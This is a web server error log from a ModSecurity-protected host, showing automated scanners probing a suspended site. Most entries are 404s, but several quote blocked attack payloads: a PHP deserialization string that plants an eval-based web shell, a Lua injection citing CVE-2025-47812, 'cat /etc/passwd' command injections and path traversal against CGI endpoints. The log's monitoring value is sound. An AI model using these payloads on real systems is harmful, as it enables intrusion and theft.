[Sun Nov 16 18:59:56.327337 2025] [:error] [pid 52563:tid 52572] [client 118.100.118.24:42866] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Sun Nov 16 18:59:57.243919 2025] [:error] [pid 52469:tid 52488] [client 118.100.118.24:42882] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Sun Nov 16 19:00:07.645038 2025] [:error] [pid 20556:tid 20572] [client 118.100.118.24:34354] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Sun Nov 16 19:05:03.419806 2025] [:error] [pid 34301:tid 34321] [client 198.98.60.216:7751] [client 198.98.60.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.98.60.216, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRmv37GPoZwUGuFNREvQpwAAApE"]
[Sun Nov 16 19:05:03.423701 2025] [:error] [pid 34301:tid 34321] [client 198.98.60.216:7751] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sun Nov 16 19:05:37.641856 2025] [:error] [pid 34301:tid 34325] [client 118.100.118.24:58352] File does not exist: /usr/local/apache/htdocs/suspended-page/install.php
[Sun Nov 16 19:11:38.298880 2025] [:error] [pid 34301:tid 34328] [client 118.100.118.24:47612] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Sun Nov 16 19:11:39.308139 2025] [:error] [pid 52469:tid 52496] [client 118.100.118.24:47620] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Sun Nov 16 19:11:42.310900 2025] [:error] [pid 34301:tid 34317] [client 118.100.118.24:47640] File does not exist: /usr/local/apache/htdocs/suspended-page/config.php
[Sun Nov 16 19:11:46.330635 2025] [:error] [pid 52563:tid 52590] [client 118.100.118.24:47662] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Sun Nov 16 19:11:48.299254 2025] [:error] [pid 52469:tid 52497] [client 118.100.118.24:33198] File does not exist: /usr/local/apache/htdocs/suspended-page/forum.php
[Sun Nov 16 19:12:20.311655 2025] [:error] [pid 34133:tid 34159] [client 118.100.118.24:37850] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Sun Nov 16 19:13:53.562152 2025] [:error] [pid 34301:tid 34321] [client 155.94.163.116:57024] [client 155.94.163.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/"] [unique_id "aRmx8bGPoZwUGuFNREvSygAAApE"], referer: binance.com
[Sun Nov 16 19:17:55.136482 2025] [:error] [pid 34301:tid 34318] [client 118.100.118.24:47732] File does not exist: /usr/local/apache/htdocs/suspended-page/user.php
[Sun Nov 16 23:39:41.726912 2025] [:error] [pid 34271:tid 34286] [client 185.102.115.93:34250] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Sun Nov 16 23:46:05.774670 2025] [:error] [pid 20556:tid 20560] [client 144.48.39.108:49812] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "etc/passwd" at ARGS:text. [file "/usr/local/apache/modsecurity-cwaf/rules/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: etc/passwd found within ARGS:text: cat /etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "windfarmcoolants.com.au"] [uri "/vendor/htmlawed/htmlawed/htmLawedTest.php"] [unique_id "aRnxvUkbyEckbWtBcCLbLwAAAQI"]
[Sun Nov 16 23:46:06.409775 2025] [:error] [pid 34271:tid 34290] [client 144.48.39.108:49818] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Found 8 byte(s) in ARGS:profile_id outside range: 1-255. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "95"] [id "210410"] [rev "4"] [msg "COMODO WAF: Invalid character in request||windfarmcoolants.com.au|F|3"] [data "ARGS:profile_id=O:31:\\x22GuzzleHttp\\x5cCookie\\x5cFileCookieJar\\x22:3:{s:40:\\x22\\x00GuzzleHttp\\x5cCookie\\x5cFileCookieJar\\x00cookies\\x22;a:1:{i:0;O:27:\\x22GuzzleHttp\\x5cCookie\\x5cSetCookie\\x22:1:{s:33:\\x22\\x00GuzzleHttp\\x5cCookie\\x5cSetCookie\\x00data\\x22;a:2:{s:7:\\x22Expires\\x22;s:0:\\x22\\x22;s:5:\\x22Value\\x22;s:49:\\x22<?php eval(base64_decode($_SERVER['HTTP_X'])); ?>\\x22;}}}s:41:\\x22\\x00GuzzleHttp\\x5cCookie\\x5cFileCookieJar\\x00filename\\x22;s:23:\\x22./cache_public/sh.phtml\\x22;s:52:\\x22\\x00GuzzleHttp\\x5cCo..."] [severity "ERROR"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/menu.php"] [unique_id "aRnxvkNmlZhoZZV1BUD0AQAAAlE"]
[Sun Nov 16 23:46:17.402494 2025] [:error] [pid 52563:tid 52567] [client 144.48.39.108:36658] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /vendor/htmlawed/htmlawed/htmLawedTest.php"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/vendor/htmlawed/htmlawed/htmLawedTest.php"] [unique_id "aRnxyc-l3ey-hVJ5AuvogQAAAME"]
[Sun Nov 16 23:46:28.409404 2025] [:error] [pid 34164:tid 34179] [client 144.48.39.108:41750] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /vendor/htmlawed/htmlawed/htmLawedTest.php"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/vendor/htmlawed/htmlawed/htmLawedTest.php"] [unique_id "aRnx1O93ccBCLD8-Q4abAAAAAYs"]
[Sun Nov 16 23:57:37.930646 2025] [:error] [pid 34301:tid 34322] [client 199.195.248.152:11840] [client 199.195.248.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 199.195.248.152, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRn0cbGPoZwUGuFNREsIJwAAApI"], referer: https://www.google.com/
[Sun Nov 16 23:57:37.934724 2025] [:error] [pid 34301:tid 34322] [client 199.195.248.152:11840] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://www.google.com/
[Mon Nov 17 00:25:51.771847 2025] [:error] [pid 55745:tid 55768] [client 4.206.130.92:39873] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Mon Nov 17 00:25:52.016849 2025] [:error] [pid 55745:tid 55764] [client 4.206.130.92:39873] File does not exist: /usr/local/apache/htdocs/suspended-page/abcd.php
[Mon Nov 17 00:25:52.230330 2025] [:error] [pid 55745:tid 55766] [client 4.206.130.92:39873] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Mon Nov 17 00:25:52.469632 2025] [:error] [pid 55745:tid 55758] [client 4.206.130.92:39873] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php
[Mon Nov 17 00:25:52.963395 2025] [:error] [pid 55745:tid 55751] [client 4.206.130.92:39873] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Mon Nov 17 00:25:53.178934 2025] [:error] [pid 55745:tid 55760] [client 4.206.130.92:39873] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Mon Nov 17 00:25:53.399004 2025] [:error] [pid 55745:tid 55748] [client 4.206.130.92:39873] File does not exist: /usr/local/apache/htdocs/suspended-page/flower.php
[Mon Nov 17 00:25:53.833319 2025] [:error] [pid 55745:tid 55770] [client 4.206.130.92:39873] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php
[Mon Nov 17 00:25:54.056787 2025] [:error] [pid 55745:tid 55767] [client 4.206.130.92:39873] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Mon Nov 17 00:25:54.274938 2025] [:error] [pid 55745:tid 55757] [client 4.206.130.92:39873] [client 4.206.130.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nc4.php"] [unique_id "aRn7EoZk0eT801XQsatliAAAAEo"]
[Mon Nov 17 00:25:54.704605 2025] [:error] [pid 55745:tid 55750] [client 4.206.130.92:39896] [client 4.206.130.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nc4.php"] [unique_id "aRn7EoZk0eT801XQsatligAAAEM"]
[Mon Nov 17 00:25:55.174527 2025] [:error] [pid 55657:tid 55719] [client 4.206.130.92:39883] [client 4.206.130.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nc4.php"] [unique_id "aRn7Ex2pywrNN427_XQw1gAAAcg"]
[Mon Nov 17 00:25:55.659621 2025] [:error] [pid 55657:tid 55727] [client 4.206.130.92:39874] [client 4.206.130.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nc4.php"] [unique_id "aRn7Ex2pywrNN427_XQw1wAAAc4"]
[Mon Nov 17 00:32:43.562301 2025] [:error] [pid 65480:tid 332] [client 45.61.187.69:17327] [client 45.61.187.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.61.187.69, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRn8qw3NjAS-v6ul5QBJeQAAAMo"], referer: https://www.yahoo.com/
[Mon Nov 17 00:32:43.566079 2025] [:error] [pid 65480:tid 332] [client 45.61.187.69:17327] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://www.yahoo.com/
[Mon Nov 17 02:45:58.467900 2025] [:error] [pid 55657:tid 55703] [client 4.206.130.92:18321] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Mon Nov 17 02:45:58.719424 2025] [:error] [pid 55657:tid 55707] [client 4.206.130.92:18321] File does not exist: /usr/local/apache/htdocs/suspended-page/file17.php
[Mon Nov 17 02:45:58.969919 2025] [:error] [pid 55657:tid 55713] [client 4.206.130.92:18321] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Mon Nov 17 02:45:59.622763 2025] [:error] [pid 55657:tid 55735] [client 4.206.130.92:18321] File does not exist: /usr/local/apache/htdocs/suspended-page/aw.php
[Mon Nov 17 02:46:01.073557 2025] [:error] [pid 55657:tid 55720] [client 4.206.130.92:18321] [client 4.206.130.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/yanierin/akcc.php"] [unique_id "aRob6R2pywrNN427_XRc3AAAAck"]
[Mon Nov 17 02:46:01.588353 2025] [:error] [pid 55745:tid 55768] [client 4.206.130.92:18398] [client 4.206.130.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/yanierin/akcc.php"] [unique_id "aRob6YZk0eT801XQsaubAwAAAFU"]
[Mon Nov 17 02:46:02.148793 2025] [:error] [pid 55657:tid 55736] [client 4.206.130.92:18309] [client 4.206.130.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/yanierin/akcc.php"] [unique_id "aRob6h2pywrNN427_XRc5AAAAdc"]
[Mon Nov 17 02:46:02.670654 2025] [:error] [pid 55657:tid 55732] [client 4.206.130.92:18323] [client 4.206.130.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/yanierin/akcc.php"] [unique_id "aRob6h2pywrNN427_XRc6AAAAdM"]
[Mon Nov 17 03:18:06.339659 2025] [:error] [pid 55657:tid 55707] [client 136.144.19.172:46949] [client 136.144.19.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/txets.php"] [unique_id "aRojbh2pywrNN427_XRmWAAAAcI"]
[Mon Nov 17 03:18:06.830200 2025] [:error] [pid 55745:tid 55763] [client 104.234.19.20:36139] [client 104.234.19.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/txets.php"] [unique_id "aRojboZk0eT801XQsaumtQAAAFA"]
[Mon Nov 17 03:18:07.322435 2025] [:error] [pid 55745:tid 55756] [client 136.144.19.202:40001] [client 136.144.19.202] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/txets.php"] [unique_id "aRojb4Zk0eT801XQsaumtwAAAEk"]
[Mon Nov 17 03:37:16.901489 2025] [:error] [pid 18997:tid 19074] [client 198.98.60.216:13384] [client 198.98.60.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.98.60.216, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRon7MzSgi4K0UUOQIBJsQAAAIU"], referer: https://www.bing.com/
[Mon Nov 17 03:37:16.907019 2025] [:error] [pid 18997:tid 19074] [client 198.98.60.216:13384] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://www.bing.com/
[Mon Nov 17 04:02:05.806092 2025] [:error] [pid 59789:tid 59815] [client 144.48.39.108:43380] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Found 1 byte(s) in ARGS:username outside range: 1-255. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "95"] [id "210410"] [rev "4"] [msg "COMODO WAF: Invalid character in request||www.windfarmcoolants.com.au|F|3"] [data "ARGS:username=anonymous\\x00]]\\x0dlocal h = io.popen(\\x22echo CVE-2025-47812\\x22)\\x0dlocal r = h:read(\\x22*a\\x22)\\x0dh:close()\\x0dprint(r)\\x0d--"] [severity "ERROR"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/loginok.html"] [unique_id "aRotveR6V8BPUsc_OOvE6wAAAAw"]
[Mon Nov 17 04:02:07.402200 2025] [:error] [pid 59791:tid 59879] [client 144.48.39.108:43400] File does not exist: /usr/local/apache/htdocs/suspended-page/login.php
[Mon Nov 17 04:02:07.403848 2025] [:error] [pid 59791:tid 59875] [client 144.48.39.108:43426] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Mon Nov 17 04:02:22.412328 2025] [:error] [pid 59789:tid 59812] [client 144.48.39.108:54748] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Mon Nov 17 04:15:15.736210 2025] [:error] [pid 40548:tid 40558] [client 35.233.98.19:64520] [client 35.233.98.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.233.98.19, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRow0wM_PykfYnxh-j-JhgAAAQg"]
[Mon Nov 17 04:15:15.740642 2025] [:error] [pid 40548:tid 40558] [client 35.233.98.19:64520] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Mon Nov 17 04:21:04.505526 2025] [:error] [pid 39449:tid 39460] [client 51.81.107.180:40154] File does not exist: /usr/local/apache/htdocs/suspended-page/vdconnect-fyk6hz6w.php
[Mon Nov 17 05:16:54.749408 2025] [:error] [pid 39537:tid 39556] [client 185.102.115.93:35416] File does not exist: /usr/local/apache/htdocs/suspended-page/wpc.php
[Mon Nov 17 06:00:35.798780 2025] [:error] [pid 39451:tid 39514] [client 144.48.39.108:41982] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Mon Nov 17 06:00:36.413040 2025] [:error] [pid 39537:tid 39547] [client 144.48.39.108:41990] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /login"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/login"] [unique_id "aRpJhIZRrh1pcrdcLB_ovAAAAMc"], referer: windfarmcoolants.com.au/module/login/login.html
[Mon Nov 17 08:19:25.664819 2025] [:error] [pid 39537:tid 39542] [client 185.102.115.93:53418] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Mon Nov 17 09:28:21.776748 2025] [:error] [pid 39449:tid 39471] [client 144.48.39.108:54416] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /cgi-bin/weblogin.cgi?username=admin';cat+/etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/weblogin.cgi"] [unique_id "aRp6NaUCymTA3MDfzLPVgAAAABE"]
[Mon Nov 17 09:28:21.776830 2025] [:error] [pid 39449:tid 39456] [client 144.48.39.108:54400] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /linuxki/experimental/vis/kivis.php?type=kitrace&pid=0;echo%20START;cat%20/etc/passwd;echo%20END;"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/linuxki/experimental/vis/kivis.php"] [unique_id "aRp6NaUCymTA3MDfzLPVfwAAAAI"]
[Mon Nov 17 09:28:21.778495 2025] [:error] [pid 65302:tid 65307] [client 144.48.39.108:54374] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\/lib\\\\/php\\\\/connector\\\\.minimal\\\\.php$" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/27_Apps_WPPlugin.conf"] [line "6778"] [id "234930"] [rev "2"] [msg "COMODO WAF: File upload vulnerability in the file manager plugin before 6.9 for WordPress (CVE-2020-25213)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WPPlugin"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"] [unique_id "aRp6NQPMSx2v85r8y7x28QAAAUM"]
[Mon Nov 17 09:28:21.781039 2025] [:error] [pid 40548:tid 40558] [client 144.48.39.108:54428] File does not exist: /usr/local/apache/htdocs/suspended-page/search.php
[Mon Nov 17 09:28:22.405158 2025] [:error] [pid 40548:tid 40568] [client 144.48.39.108:54450] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /logupload?logMetaData=%7B%22itrLogPath%22%3A%20%22..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fhttpd%2Fhtml%2Fwsgi_log_upload%22%2C%20%22logFileType%22%3A%20%22log_upload_wsgi.py%22%2C%20%22workloadID%22%3A%20%222%22%7D"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/logupload"] [unique_id "aRp6NgM_PykfYnxh-j8C7AAAARI"], referer: https://windfarmcoolants.com.au
[Mon Nov 17 09:28:22.405935 2025] [:error] [pid 39451:tid 39522] [client 144.48.39.108:54444] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /cgi-bin/kerbynet?Action=StartSessionSubmit&User=%27%26cat%20/etc/passwd%26%27&PW"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/kerbynet"] [unique_id "aRp6NufgkqXTS0SO3fCwOAAAAI4"]
[Mon Nov 17 09:28:22.406424 2025] [:error] [pid 40548:tid 40563] [client 144.48.39.108:54474] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Found 4 byte(s) in REQUEST_HEADERS:Cookie outside range: 1-255. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "95"] [id "210410"] [rev "4"] [msg "COMODO WAF: Invalid character in request||windfarmcoolants.com.au|F|3"] [data "REQUEST_HEADERS:Cookie=thimpress_hotel_booking_1=O:11:\\x22WPHB_Logger\\x22:1:{s:21:\\x22\\x00WPHB_Logger\\x00_handles\\x22;C:33:\\x22Requests_Utility_FilteredIterator\\x22:67:{x:i:0;a:1:{i:0;s:2:\\x22-1\\x22;};m:a:1:{s:11:\\x22\\x00*\\x00callback\\x22;s:7:\\x22phpinfo\\x22;}}}"] [severity "ERROR"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aRp6NgM_PykfYnxh-j8C7gAAAQ0"]
[Mon Nov 17 09:28:22.457729 2025] [:error] [pid 40548:tid 40550] [client 144.48.39.108:54520] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Mon Nov 17 09:28:26.410338 2025] [:error] [pid 65302:tid 65312] [client 144.48.39.108:54588] [client 144.48.39.108] ModSecurity: Multipart parsing error: Multipart: Invalid boundary: ------WebKitFormBoundaryl7d1B1aGsV2wcZwF\\xe2\\x80\\x94\\r\\n [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aRp6OgPMSx2v85r8y7x3IAAAAUg"]
[Mon Nov 17 09:28:26.410827 2025] [:error] [pid 65302:tid 65312] [client 144.48.39.108:54588] [client 144.48.39.108] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||windfarmcoolants.com.au|F|2"] [data "Multipart parsing error: Multipart: Invalid boundary: ------WebKitFormBoundaryl7d1B1aGsV2wcZwF\\x5cxe2\\x5cx80\\x5cx94\\x5cr\\x5cn"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aRp6OgPMSx2v85r8y7x3IAAAAUg"]
[Mon Nov 17 09:28:26.410886 2025] [:error] [pid 65302:tid 65312] [client 144.48.39.108:54588] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 0, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aRp6OgPMSx2v85r8y7x3IAAAAUg"]
[Mon Nov 17 09:46:50.334178 2025] [:error] [pid 15150:tid 15161] [client 94.247.172.129:41978] [client 94.247.172.129] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.windfarmcoolants.com.au|F|4"] [data "close, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "aRp-in2DEo_rcsFuxj0b1AAAAYk"]
[Mon Nov 17 11:25:41.427717 2025] [:error] [pid 39451:tid 39527] [client 185.102.115.93:58066] File does not exist: /usr/local/apache/htdocs/suspended-page/geju.php
[Mon Nov 17 12:34:34.401185 2025] [:error] [pid 19120:tid 19122] [client 144.48.39.132:48998] [client 144.48.39.132] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /apply_sec.cgi"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/apply_sec.cgi"] [unique_id "aRql2oO1H08wfYmhCh-vtAAAAsA"], referer: https://windfarmcoolants.com.au/login_pic.asp
